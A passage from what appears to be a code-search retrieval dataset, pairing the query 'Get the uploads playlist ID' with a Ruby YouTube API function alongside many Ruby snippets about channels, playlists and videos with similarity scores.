token\n )\n end", "def client_channel\n \"#{access_key}-client\"\n end", "def get_channel_vidios key\n\tchannel_details = Youtube.get('/channels?part=contentDetails&id=UC-lHJZR3Gqxm24_Vd_AJ5Yw&key' + key)\n\t\n\n\tp channel_details\n\tget_vidio_playlist key id\nend", "def channel\n @channel ||= Proletariat.connection.create_channel\n end", "def channel\n @channel ||= Proletariat.connection.create_channel\n end", "def channel\n params.detect { |param| param.start_with?(\"#\") }&.delete(\"#\")\n end", "def set_channel\n @channel = ::Channel.find(params[:id])\n end", "def channel(user)\n if user.is_a? String\n user\n else\n user.send(:push_id)\n end\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def [](channel_name)\r\n return @channels[channel_name.downcase]\r\n end", "def set_channel\r\n @channel = Channel.find(params[:id])\r\n end", "def channel\r\n @record\r\n end", "def chat_id\n return @chat_id\n end", "def chat_id\n return @chat_id\n end", "def channel\n # Create new channel if closed\n if @channel.nil? || @channel.closed?\n @channel = connection.create_channel\n end\n @channel\n end", "def set_channel\n @channel = Channel.find(params[:id])\n end", "def id\n if @id.nil?\n @id = FeedTools::XmlHelper.select_not_blank([\n FeedTools::XmlHelper.try_xpaths(self.channel_node, [\n \"atom10:id/text()\",\n \"atom03:id/text()\",\n \"atom:id/text()\",\n \"id/text()\",\n \"guid/text()\"\n ], :select_result_value => true),\n FeedTools::XmlHelper.try_xpaths(self.root_node, [\n \"atom10:id/text()\",\n \"atom03:id/text()\",\n \"atom:id/text()\",\n \"id/text()\",\n \"guid/text()\"\n ], :select_result_value => true)\n ])\n end\n return @id\n end", "def get_channel(id, cached: true)\n return @channel_cache.fetch(id) { p id; super(id) } if cached\n\n channel = super(id)\n @channel_cache.cache(id, channel)\n end", "def slack_channel\n return ENV['SLACK_CHANNEL'] if ENV['SLACK_CHANNEL'][0] == '#'\n '#' + ENV['SLACK_CHANNEL']\n end", "def set_channel\n @channel = Channel.find_by_id(params[:id])\n @channel ||= Channel.friendly.find(params[:id])\n end", "def channel_index=(value)\n @channel_index = value\n end", "def id\n return self.topic['id'].to_i\n end", "def thread_id\n check_connection\n @protocol.thread_id\n end", "def get_facebook_channel(project_id, query_id)\n get \"projects/#{project_id}/facebookchannels/#{query_id}\"\n end", "def get_channel(name)\n channel = @channels[name]\n return channel unless channel.nil?\n # If not exists, create it\n logger.debug \"Created channel #{name}\"\n stat_channel_created name # Stats and log\n @channels[name] = Neighborparrot::Channel.new(name, @app_info)\n end", "def call_id\n return @call_id\n end", "def firebase_channel_id_suffix\n return \"-#{circle_run_identifier}\" if ENV['CI']\n return \"-DEVELOPMENT-#{ENV['USER']}\" if CDO.firebase_name == 'cdo-v3-dev'\n ''\n end", "def get_channel(name, create)\n channel = @channels[name]\n if not channel and create\n channel = Channel.new(name)\n @channels[name] = channel\n @logger.debug(\"Created channel #{name}\")\n end\n channel\n end", "def id\n messaging['id']\n end", "def conversation_id\n return @conversation_id\n end", "def conversation_id\n return @conversation_id\n end", "def message_id; @message_impl.getMessageId; end", "def available_channel\n num = nil\n @channels.each_with_index do |channel, index|\n if !channel\n num = index\n break\n end\n end\n return num\n end", "def url\n channel_path(params[:message][:channel_id], anchor: \"message_#{params[:message][:id]}\")\n end", "def server_channel\n \"#{access_key}-server\"\n end", "def [](channel_id)\n @datastream_ref[channel_id]\n end", "def find_session_channel(sid)\n\t\tsession_channels[sid.to_i]\n\tend", "def channel\n\n Thread.current['_boss_amqp_channel'] ||= amqp_connect.create_channel\n end", "def set_ForChannelId(value)\n set_input(\"ForChannelId\", value)\n end", "def set_ForChannelId(value)\n set_input(\"ForChannelId\", value)\n end", "def set_ForChannelId(value)\n set_input(\"ForChannelId\", value)\n end", "def id\n @message[:id]\n end", "def channel=(name)\n @channel = name\n end", "def client_id\n connection.id\n end", "def get_id()\n return @id\n end", "def session_id\n @grpc.name.split(\"/\")[7]\n end", "def channel_node\n if @channel_node.nil? && self.root_node != nil\n @channel_node = FeedTools::XmlHelper.try_xpaths(self.root_node, [\n \"channel\",\n \"CHANNEL\",\n \"feedinfo\",\n \"news\"\n ])\n if @channel_node == nil\n @channel_node = self.root_node\n end\n end\n return @channel_node\n end", "def message_id\n data[:message_id]\n end", "def get_message_id\n return message_id if Rails.env.production?\n '2b4a4e966e0300b90a00c28b714f1c38@masamigos.cl'\n end", "def channel_to_s(val)\n val += 1 if @print_channel_numbers_from_one\n return number_to_s(val)\n end", "def get(id)\n\t\t\tkparams = {}\n\t\t\t# Live channel id\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('livechannel', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def set_slack_channel\n @slack_channel = SlackChannel.find(params[:id])\n end", "def channel_for(maildir)\n @channel ||= {}\n @channel[maildir.to_sym] ||= begin\n channel = config.channels.max_by do |channel|\n localstore_path = channel.localstore.path_of[channel.label.to_sym]\n maildir.slice(localstore_path) ? localstore_path.intersection(maildir).length : 0\n end\n\n localstore_path = channel.localstore.path_of[channel.label.to_sym]\n\n folder = maildir.sub(%r{#{localstore_path}/?}, '')\n .gsub(channel.localstore.flatten.unescape,\n (channel.remotestore.pathdelimiter || '/'))\n\n channel.label + (folder.empty? ? '' : \":#{folder}\")\n end\n end", "def set_cms_channel\n @cms_channel = @cms_site.channels.find(params[:id])\n end" ]
[ "0.8354333", "0.7768983", "0.7748966", "0.7501064", "0.73682964", "0.732222", "0.729672", "0.723044", "0.7212555", "0.72069585", "0.71056676", "0.7068812", "0.7000713", "0.6901377", "0.685235", "0.6773973", "0.67490244", "0.6682024", "0.66494", "0.6642741", "0.6634713", "0.66277045", "0.6596027", "0.65525854", "0.65099686", "0.6476661", "0.64640146", "0.64183706", "0.64183706", "0.64183706", "0.64183706", "0.64183706", "0.64183706", "0.639741", "0.63958085", "0.63926107", "0.6352126", "0.6335864", "0.6290264", "0.6248231", "0.6248231", "0.62311935", "0.6222534", "0.618088", "0.6168918", "0.61587805", "0.61587805", "0.61587805", "0.61587805", "0.61587805", "0.61587805", "0.61587805", "0.61587805", "0.61587805", "0.61587805", "0.6142831", "0.6138291", "0.6130768", "0.6100701", "0.6100701", "0.60929227", "0.60834646", "0.6081754", "0.60542756", "0.60166276", "0.599914", "0.5981642", "0.590621", "0.5887365", "0.58803564", "0.5875414", "0.58723426", "0.5866443", "0.5858296", "0.58550966", "0.5846876", "0.5846876", "0.5836161", "0.5831801", "0.58290815", "0.5828817", "0.58235043", "0.5816403", "0.5806426", "0.5788874", "0.5788874", "0.5788874", "0.5776187", "0.57649463", "0.5761074", "0.57430506", "0.57312053", "0.5729355", "0.5728721", "0.57202584", "0.5715966", "0.5714412", "0.5710832", "0.57085437", "0.5702144" ]
0.73939675
4
Get the uploads playlist ID
def get_channel_vidios key channel_details = Youtube.get('/channels?part=contentDetails&id=UC-lHJZR3Gqxm24_Vd_AJ5Yw&key' + key) p channel_details get_vidio_playlist key id end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def playlist_id\n @ole.playlistID\n end", "def playlist_id\n @ole.playlistID\n end", "def playlist_id\n @ole.playlistID\n end", "def playlist_id\n @ole.playlistID\n end", "def unique_id\n playlist_id[/playlists\\/([^<]+)/, 1]\n end", "def playlist_id;\treturn @json_data['playlist_id'];\tend", "def get_current_playlist\n\t\t@current_playlist ||= if params[:playlist_id].present?\n\t\t\tPlaylist.find(params[:playlist_id])\n\t\tend\n\tend", "def default_upload_playlist\n if t_id.match(/^UC/)\n t_id.sub(/^UC/, 'UU')\n else\n nil\n end\n end", "def get_vidio_playlist key id\n\t#playlstId is the Uploads ID in channel_details\n\tchannel_vidios = Youtube.get('/playlistItems?part=snippet&playlistId=UU-lHJZR3Gqxm24_Vd_AJ5Yw&key=' + key)\nend", "def playlist\n split_and_hash(send_request('playlistinfo'))\n end", "def create_playlist\n r = HTTParty.post(\n Spotify_api + \"/v1/users/ferretpenguin/playlists\",\n headers: { \"Accept\" => \"application/json\", \"Authorization\" => @authorization},\n body: {\n name: \"Weekly Playlist\",\n }.to_json)\n\n\n body = JSON.parse r.body\n body[\"id\"]\n end", "def play_list_song_id(song_row)\n @play_list ? song_row[IDX_PLAYLIST_ID] : nil\n end", "def youtube_id\n\t\tif youtube?\n\t\t\treturn path[\"stoffi:track:youtube:\".length .. -1]\n\t\telse\n\t\t\treturn \"\"\n\t\tend\n\tend", "def media_id\n changes['media_id']\n end", "def fileupload_guid\n @fileupload_guid ||= Uploader.guid\n end", "def set_PlaylistID(value)\n set_input(\"PlaylistID\", value)\n end", "def set_PlaylistID(value)\n set_input(\"PlaylistID\", value)\n end", "def set_PlaylistID(value)\n set_input(\"PlaylistID\", value)\n end", "def set_PlaylistID(value)\n set_input(\"PlaylistID\", value)\n end", "def set_PlaylistID(value)\n set_input(\"PlaylistID\", value)\n end", "def find_playlist\n @playlist = Playlist.find(params[:id])\n end", "def media_promotion_list_id\n @media_promotion_list_id ||= client.lists({:filters=>{:list_name=>@group_name}})['data'].first['id'] \n end", "def uri\n @uri ||= uri_id && \"spotify:user:#{user.username}:playlist:#{uri_id}\"\n end", "def song_set_id(song_row)\n if @play_list\n return \"play_#{song_row[IDX_PLAYLIST_ID]}\"\n else\n return \"song_#{song_row[IDX_SONG_ID]}\"\n end\n end", "def get_playlist_vids(playlist)\n Log.log.debug \"Returning playlist vids\"\n vids = Array.new\n playlist.playlist_items.each {|item| vids << item.video_id}\n return vids\nend", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def soundcloud_id\n\t\tif soundcloud?\n\t\t\treturn path[\"stoffi:track:soundcloud:\".length .. -1]\n\t\telse\n\t\t\treturn \"\"\n\t\tend\n\tend", "def kind\n :playlist\n end", "def video_id\n values[:video_id]\n end", "def set_playlist\n @playlist = Playlist.find(params[:playlist_id])\n end", "def id\n case self.service\n when :youtube then parse_video_id_for_youtube\n when :vimeo then parse_video_id_for_vimeo\n end\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def folder_id\n current.folder.id\n end", "def set_playlist\n @playlist = Playlist.find params[:id]\n end", "def current_playlist\n IITPlaylist.new(@ole.CurrentPlaylist)\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def parse_playlist_reference_url(url)\n playlist, index = split_url(url)\n [to_valid_id(playlist), Integer(index)]\n end", "def trackable_id\n params['id'] || first_item_on_page_id\n end", "def get_playlist!(user, playlist_title)\n playlist = user.playlists.select { |p| p.name == playlist_title} \n tracks = self.get_tracks!\n\n if playlist.empty?\n # Let's make a new playlist then!\n playlist = user.create_playlist!(playlist_title) \n playlist.add_tracks!(tracks) \n else\n # Pre-existing playlist\n # @todo This is pretty damn ugly!\n id = playlist.map { |p| p.id } \n playlist = RSpotify::Playlist.find(user.id, id.first)\n tracks = tracks & playlist.tracks\n playlist.add_tracks!(tracks) unless tracks.empty?\n end\n\n return playlist.uri\n end", "def youtube_video_id\t\t\n\t\tif self.video_url.nil?\n\t\t\tnil\n\t\telse\n\t\t\tself.video_url.rpartition('/').last\n\t\tend\n\n\tend", "def find_id_now_playing(status)\n return (status['state'] == 'playing' ? status['currentplid'].to_i.to_s : nil)\n end", "def playlist_count()\n return @playlist.length\n end", "def get_playlist_item_data(playlist = 'uploads', query = {})\n nq = query.dup\n\n if self.access_key\n access_data = self.access_key.access_data\n if access_data\n plist = access_data[:playlists]\n if plist && plist.has_key?(playlist)\n nq[:playlistId] = plist[playlist]\n end\n end\n end\n\n nq[:playlistId] = playlist unless nq.has_key?(:playlistId)\n nq[:maxResults] = 20 unless nq.has_key?(:maxResults)\n\n nq[:part] = [] unless query.has_key?(:part)\n part = nq[:part].is_a?(Array) ? nq[:part] : [ nq[:part] ]\n part << :contentDetails unless part.include?(:contentDetails)\n part << :status unless part.include?(:status)\n nq[:part] = part\n\n self.get(PATH_ROOT, nq)\n end", "def id\n return @artist_data[\"id\"]\n end", "def get_player_id\n\t\t@player_id\n\tend", "def set_playlist\n @playlist = Playlist.find_by(id:params[:id])\n end", "def media_leg_id\n return @media_leg_id\n end", "def choose_lastfm_playlist\n last_created_playlist = playlists.last\n last_created_playlist[:tracks_count] >= DEEZER_MAX_PLAYLIST_TRACKS ? create_lastfm_playlist : last_created_playlist[:id]\n end", "def show\n\t\t@playlist = Playlist.find(params[:id])\n\tend", "def set_playlist_song\n @playlist_song = PlaylistSong.find(params[:id])\n end", "def public_id\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def playlist_title;\treturn @json_data['playlist_title'];\tend", "def get_upload_response(var)\n return nil unless is_upload?(var)\n\n Upload.find(self[var.to_sym].map { |up_hash| up_hash[:id] })\n end", "def videoId\n #@video_data['items']['id']['videoId']\n videoId_ary = []\n @video_data['items'].each do |item|\n videoId_ary << item['id']['videoId']\n end\n # @video_data['items']['id']['kind']\n videoId_ary\n end", "def downloaded_video_path\n \"/songs/#{self.id}.mpg\"\n end", "def execute\n check_quota\n authorize\n upload\n raise UploadError.new, \"Validation of chunks failed.\" unless valid?\n complete\n\n return video_id\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9_=\\-]+)(\\.html)?.*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end", "def playlist_type(param = 'appending')\n \"playlistType=#{param}\"\n end", "def parse_id(e)\n return e.css('a')[0].attribute('data-play').content.split(':')[1].to_i\n end", "def selected_playlist\n IITPlaylist.new(@ole.SelectedPlaylist)\n end", "def playlist_count\n return @playlists.length\n end", "def album_id_public\n if album\n album.id_public\n end\n end", "def get_media_filename\n \"#{@uuid}.#{get_thumbnail_extension}\"\n end", "def track_id\n @ole.trackID\n end", "def track_id\n @ole.trackID\n end", "def track_id\n @ole.trackID\n end", "def track_id\n @ole.trackID\n end", "def playlist\n IITPlaylist.new(@ole.Playlist)\n end", "def get_play_list_song_ids\n return [] if !@play_list\n\n if @play_list_song_ids\n return @play_list_song_ids\n else\n return get_songs.map { |x| x[IDX_PLAYLIST_ID] }\n end\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9]*)(\\.html)*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end", "def show\n client_playlist = Soundcloud.new(:client_id => Rails.application.secrets.soundcloud_client_id,\n :client_secret => Rails.application.secrets.soundcloud_secret,\n :username => Rails.application.secrets.soundcloud_username,\n :password => Rails.application.secrets.soundcloud_password)\n client_track = SoundCloud.new(:client_id => Rails.application.secrets.soundcloud_client_id)\n # create an array of track ids\n track_url = Post.find(params[:id]).try(:track_url)\n # puts track_url.inspect\n embed_info = client_track.get('/oembed', :url => track_url)\n @song = embed_info['html']\n @track_id = client_track.get('/resolve', :url => track_url).id\n @playlists = client_playlist.get(\"/me/playlists\")\n end", "def set_playlists_track\n @playlists_track = PlaylistsTrack.find(params[:id])\n end", "def playlist\n {\n name: name,\n format: FORMAT,\n output_keys: output_keys\n }\n end", "def current_song\n Song.find(params[:id])\n end", "def video_id_public\n if video\n video.id_public\n end\n end", "def rspotify_playlist\n if !self.spotify_id.nil?\n @rspotify_playlist ||= RSpotify::Playlist.find_by_id(self.spotify_id)\n end\n end", "def asset_name\n 'Playlist'\n end", "def avId\n begin\n /\\/video\\/av(\\d+)/.match(self.link)[1]\n rescue\n ''\n end\n end", "def find_thumbnail_id(file_sets)\n return if parent.thumbnail_id.present?\n file_sets.each do |file_set|\n extension = File.extname(file_set.primary_file.original_filename.first)\n return file_set.id unless no_thumbnail_extensions.include?(extension)\n end\n\n nil\n end", "def create_lastfm_playlist\n new_playlist_id = @deezer.create_playlist(@playlist_prefix + (@playlists.count + 1).to_s) do |success|\n puts(\"Playlist \\\"#{name}\\\" was successfully created.\", @puts_args) if success\n end['id']\n playlists.detect { |e| e[:id] == new_playlist_id }[:id]\n end", "def actual_id\n args = params[:id].split('-')\n args[0]\n end", "def get_id \n part_number = PartNumber.get_part_number(self)\n part_number.id if part_number\n end", "def edit\n @playlist = Playlist.find(params['id'])\n end", "def edit\n @playlist = Playlist.find(params[:id])\n end", "def video_session\n filename.split(\"_\").first\n end", "def id\n basename.gsub('.', '-')\n end", "def folder_id\n self.folder.id\n end", "def playlist\n connection.write(\"playlist\")\n end", "def set_playlist\n\t\tnot_found('playlist') and return unless Playlist.exists? params[:id]\n\t\t@playlist = Playlist.find(params[:id])\n\tend", "def uploaded_file_ids\n file_ids = []\n @files.each do |f|\n response = @client.upload_file(f[:path], f[:content_type])\n file_ids << response['files'][0]['id']\n end\n file_ids\n end" ]
[ "0.81064886", "0.81064886", "0.81064886", "0.81064886", "0.7607116", "0.7586083", "0.65761936", "0.6515089", "0.6373016", "0.6358073", "0.6325484", "0.61991924", "0.619332", "0.6189471", "0.6142936", "0.61340433", "0.61340433", "0.61340433", "0.61340433", "0.61340433", "0.6131059", "0.6091334", "0.60243034", "0.59508485", "0.59382015", "0.5936419", "0.5936419", "0.5936419", "0.59324557", "0.5902102", "0.58996063", "0.5895526", "0.58898646", "0.58887553", "0.5888", "0.5879009", "0.58641136", "0.5851577", "0.5851577", "0.5851577", "0.5851577", "0.5851577", "0.5851577", "0.5851577", "0.5851577", "0.5851577", "0.5851577", "0.58387417", "0.58324075", "0.5826902", "0.5812502", "0.5802949", "0.5791877", "0.5786114", "0.5782045", "0.57805264", "0.5780083", "0.5761495", "0.5746564", "0.5730712", "0.5730139", "0.57151073", "0.57134277", "0.57024556", "0.5699769", "0.56957227", "0.56793845", "0.5660331", "0.5659777", "0.5652909", "0.565239", "0.5646176", "0.5636914", "0.5633217", "0.56308025", "0.56308025", "0.56308025", "0.56308025", "0.56303835", "0.56164277", "0.5614638", "0.5602328", "0.55967116", "0.55954057", "0.55903786", "0.5580926", "0.5580118", "0.55756694", "0.55722195", "0.55590284", "0.5543935", "0.5523392", "0.5523205", "0.55225086", "0.5514551", "0.55068135", "0.5506067", "0.550082", "0.5498339", "0.54904574", "0.54817575" ]
0.0
-1
Get videos using playlist ID
def get_vidio_playlist key id #playlstId is the Uploads ID in channel_details channel_vidios = Youtube.get('/playlistItems?part=snippet&playlistId=UU-lHJZR3Gqxm24_Vd_AJ5Yw&key=' + key) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_folder_videos folder_id, **args\n get(\"/projects/#{folder_id}/videos\", args)\n end", "def get_playlist_vids(playlist)\n Log.log.debug \"Returning playlist vids\"\n vids = Array.new\n playlist.playlist_items.each {|item| vids << item.video_id}\n return vids\nend", "def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end", "def videos_for(items, key, options)\n items.body['items'].map{|item| item['id'] = item[key]['videoId']}\n\n if options[:parts] == %i(id)\n items\n else\n options[:ids] = items.body['items'].map{|item| item['id']}\n options[:offset] = nil\n fetch('/youtube/v3/videos', resource_params(options)).tap do |response|\n response.body['nextPageToken'] = items.body['nextPageToken']\n end\n end\n end", "def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end", "def video_by(params)\n params = {:video_id => params} if !params.is_a?(Hash)\n url = \"http://gdata.youtube.com/feeds/api/\"\n video_id = params[:video_id].split(\"/\").last\n if params[:user]\n url << \"users/#{params[:user]}/uploads/#{video_id}\"\n else\n url << \"videos/#{video_id}\"\n end\n parser = YouTubeG::Parser::VideoFeedParser.new(url, request_headers, request_options)\n parser.parse\n end", "def videos\n video_ids = []\n @list_data['items'].each do |top_video|\n video_ids.push(top_video['id']['videoId']) unless top_video['id']['videoId'].nil?\n end\n\n # since we need to call youtube/api/videos to get the embed_link\n videos_data = @gateway.certain_id_videos_data(video_ids)\n @top_video_mapper.build_video_items(videos_data['items'])\n end", "def video\n YouTubeApi.find_video(youtube_id)\n end", "def find_playlist\n @playlist = Playlist.find(params[:id])\n end", "def played_videos\n Room.find(id).video_polls\n .select do |video_poll|\n video_poll.played_video_id &&\n (video_poll.created_at > last_playlist_completion_time)\n end\n .map do |video_poll|\n Video.find(video_poll.played_video_id)\n end\n end", "def get_video_by_id(args = {})\n receive_video_id? args\n receive_valid_thumbsize? args\n args = receive_should_validate? args\n\n get('redtube.Videos.getVideoById', args,\n [:video_id, :thumbsize], args[:should_validate])\n end", "def playlist\n split_and_hash(send_request('playlistinfo'))\n end", "def show\n @videos = Video.find_by(id: params[:id])\n end", "def playlist_items_list_by_playlist_id(service, part, **params)\n\n params = params.delete_if { |p, v| v == ''}\n response = service.list_playlist_items(part, params)\n # print_results(response)\n \nend", "def download_all_videos_from_pl id,d_name\n\tmy_directory = \"#{@dir}#{d_name}\"\n\n\t videos_already_saved_array = get_all_titles_from_dir my_directory\n\n\t videos_already_saved_titles, videos_already_saved_paths = \n\t \t\t\t\t\tvideos_already_saved_array.map{|e| e[0]}, videos_already_saved_array.map{|e| e[2]}\n\n\t@current_playlist_video_titles.each do |v|\n\t\t\tsource = 'youtube'\n\t\t\tindex = @current_playlist_video_titles.index(v)\n\t\t\tp index\n\t\t\tvid = @current_playlist_video_ids[index]\n\t\t\tp vid\n\n\t\tif !videos_already_saved_titles.include?(v)\t\n\t\t\t\n\t\t\tvideo_string = \"http://www.youtube.com/watch?v=#{vid}\"\n\t\t\tdownload_video = \"viddl-rb #{video_string} -d 'aria2c' -s '#{my_directory}'\"\n\n\t\t\tcaptured_stdout = ''\n\t\t\tcaptured_stderr = ''\n\t\t\tstdin, stdout, stderr, wait_thr = Open3.popen3(\"#{download_video}\")\n\t\t\tpid = wait_thr.pid\n\t\t\tstdin.close\n\t\t\tcaptured_stdout = stdout.gets(nil)\n\t\t\taborted = captured_stdout.include? \"Download aborted\"\n \t\t\t# captured_stderr = stderr.read\n\t\t\twait_thr.value # Process::Status object returned\n\n\t# extract the info we need\n\t\t\tputs \"STDOUT: \" + captured_stdout\n\t\t\t# puts \"STDERR: \" + captured_stderr\n\n\t\t\t# go to Vimeo to download if it doesnt work\n\t\t\tif aborted\n\t\t\t\tartist_match_results = match_best v, @rule_artists\n\t\t\t\t@song_artist = artist_match_results[0]\n\t\t\t\tremaining_words = artist_match_results[1]\n\t\t\t\tsong_match_results = match_best remaining_words, @rule_titles\n\t\t\t\t@song_title = song_match_results[0]\n\n\t\t\t\tsource='vimeo'\n\t\t\t\tget_vimeo_manually @song_artist,@song_title,@mydir,\"vimeo\"\n\t\t\t\t# Process.kill(\"KILL\", stream.pid)\n\t\t\t\t# get_vimeo_manually v,my_directory,source \n\t\t\tend\n\n\t\t\tp \"already have it\" if videos_already_saved_titles.include?(v)\n\t\tend\n\n\n\tend\n\n\t\nend", "def my_video(video_id)\n client.get_my_video(video_id)\n end", "def videos_for_page(page_number)\n @client.get('viddler.videos.getByUser', :user => @username, :per_page => API_PER_PAGE,\n :page => page_number, :visibility => 'public,embed')['list_result']['video_list']\n end", "def show\n unless Playlist.count == 0\n @playlist = Playlist.find(params[:id])\n authorize! :view, @playlist, :message => \"This playlist is private.\"\n @videos = @playlist.videos\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @playlist }\n end\n else\n redirect_to playlists_path\n end\n end", "def video_by(vid)\n video_id = vid =~ /^http/ ? vid : \"http://gdata.youtube.com/feeds/api/videos/#{vid}\"\n parser = YouTubeG::Parser::VideoFeedParser.new(video_id)\n parser.parse \n end", "def videoId\n #@video_data['items']['id']['videoId']\n videoId_ary = []\n @video_data['items'].each do |item|\n videoId_ary << item['id']['videoId']\n end\n # @video_data['items']['id']['kind']\n videoId_ary\n end", "def find_by_id(id)\n videos.where(id: id).as(Video).one\n end", "def index \n @pos = 0\n if params[:name] != nil && (params[:name][0..3] == \"http\" || params[:name][0..2] == \"www\")\n client = YouTubeIt::Client.new(:dev_key => \"AI39si4IGrrB9qyNNgKqtW7YKqTSxpG54pBcyVZ8wQANOPcKeDVgGDorcP9DkrxFcPsI_gW3pJ0T2oAFB3stXtaWG_hbAsdNfA\")\n playlist_id = params[:name].split('=').last\n new_playlist = Playlist.new\n new_playlist.update_attributes(:name => client.playlist(playlist_id).title, :position => 1)\n new_playlist.save\n @isprelist = true\n @agent ||= init_agent\n page = @agent.get(params[:name])\n len = page.at(\"#watch7-playlist-length\").text.to_i rescue nil\n if len == nil\n len = page.at(\".first .stat-value\").text.to_i\n end\n startindex = 1\n maxresults = 0\n while len - startindex > 0\n if len - startindex > 50\n maxresults = 50\n else\n maxresults = len - maxresults\n end\n playlist_vids = client.playlist(playlist_id, {'start-index' => startindex, 'max-results' => maxresults}).videos\n for vid in playlist_vids\n new_vid = new_playlist.videos.build\n title = vid.title\n norm_url = \"www.youtube.com/watch?v=\" + vid.media_content[0].url.split('?')[0].split('/').last\n url = vid.media_content[0].url rescue nil\n thumb_url = vid.thumbnails[0].url\n width = 560.to_s\n height = 315.to_s\n embed = '<iframe width=' + width + ' height=' + height + ' src=' + url + ' frameborder=\"0\" allowfullscreen></iframe>'\n new_vid.copy_vids(title, norm_url, thumb_url, \"Youtube\", embed)\n startindex += 1\n end\n end\n @playlists = new_playlist\n else\n current_user.update_attribute(:last_psearch, params[:name])\n @isprelist = false\n @playlists = Playlist.order(:name).where(\"name like ?\", \"%#{current_user.last_psearch}%\")\n @playlists = @playlists.order(\"cached_votes_up DESC\")\n @playlists = @playlists.where(\"privacy = 'Public'\")\n @playlists = @playlists.paginate(:page => params[:page], :per_page => 2)\n end\n respond_to do |format|\n format.html\n format.js\n end\n end", "def youtube_list(user)\n require 'youtube_it'\n client = YouTubeIt::Client.new\n\n offset = 1\n videos = []\n while true # keep requesting more videos until there are none left\n resp = client.videos_by(:user => user, :offset => offset)\n break if resp.videos.size == 0\n offset += 25\n videos = videos + resp.videos.map {|v| [\"http://www.youtube.com/watch?v=#{v.unique_id}\", \"YT: #{v.title}\"]}\n end\n return videos\nend", "def video_by(video)\n vid = nil\n vid_regex = /(?:youtube.com|youtu.be).*(?:\\/|v=)([\\w-]+)/\n if video =~ vid_regex\n vid = $1\n else\n vid = video\n end\n video_id =\"http://gdata.youtube.com/feeds/api/videos/#{vid}?v=2#{@dev_key ? '&key='+@dev_key : ''}\"\n parser = YouTubeIt::Parser::VideoFeedParser.new(video_id)\n parser.parse\n end", "def show\n @playlist = Playlist.includes(:items).find(params[:id])\n end", "def current_video\n last_poll = Room.find(id).video_polls.second_to_last\n if last_poll\n if last_poll.played_video\n last_poll.played_video\n else\n last_poll.candidate_videos.first.video\n end\n else\n playlist.videos.first\n end\n end", "def show\n\t\t@playlist = Playlist.find(params[:id])\n\tend", "def show \n @project = Project.find params[:id]\n @videos = @project.videos\n end", "def show\n @videos = Video.all\n @video = @videos.find params[:id]\n end", "def playlist_id\n @ole.playlistID\n end", "def playlist_id\n @ole.playlistID\n end", "def playlist_id\n @ole.playlistID\n end", "def playlist_id\n @ole.playlistID\n end", "def playlist_id;\treturn @json_data['playlist_id'];\tend", "def show\n @playlist = Playlist.find(params['id'])\n @videos = @playlist.videos\n @comment = @playlist.comments.new\n @comments = @playlist.comments\n end", "def youtube\n download = HTTParty.get(\"https://gdata.youtube.com/feeds/api/videos?q=#{URI.escape(@track)}\")\n if !download.body.empty?\n doc = Nokogiri::HTML(download.body)\n vids = doc.xpath('//link[contains(@href, \"https://www.youtube.com/watch\")]').to_a\n video = vids.first\n # Extracting the Video-ID\n if video\n query_string = URI.parse(video['href']).query\n Hash[URI.decode_www_form(query_string)]\n else\n \"Can't find a decent YouTube mirror.\"\n end\n else\n flash[:notice] = 'Error with Youtube! Try again in 30 seconds!'\n end\n end", "def set_videolist\n @videolist = Videolist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def get_all_videos\n # get the first set of results\n video_list = []\n start_index = 1\n response = YouTubeApiCallsHelper.get_video_list(start_index)\n YouTubeApiCallsHelper.parse_video_list(response.body, video_list)\n total_results = YouTubeApiCallsHelper.get_total_results(response.body)\n\n # if there are more results to fetch, loop till we have them all\n while video_list.length < total_results\n start_index += YouTubeApiCallsHelper::MAXRESULTS\n response = YouTubeApiCallsHelper.get_video_list(start_index)\n YouTubeApiCallsHelper.parse_video_list(response.body, video_list)\n end\n\n return video_list\n end", "def index\n authorize! :read, @videos\n @videos = searchitems(params[:search],Video,'video_name')\n @video = @videos.first\n end", "def viddler_files(viddler_id, episode_id)\n # @viddler ||= Viddler::Client.new(viddler_id)\n @viddler = Viddler::Client.new(viddler_id)\n # traceout(\"instantiate viddler wtih 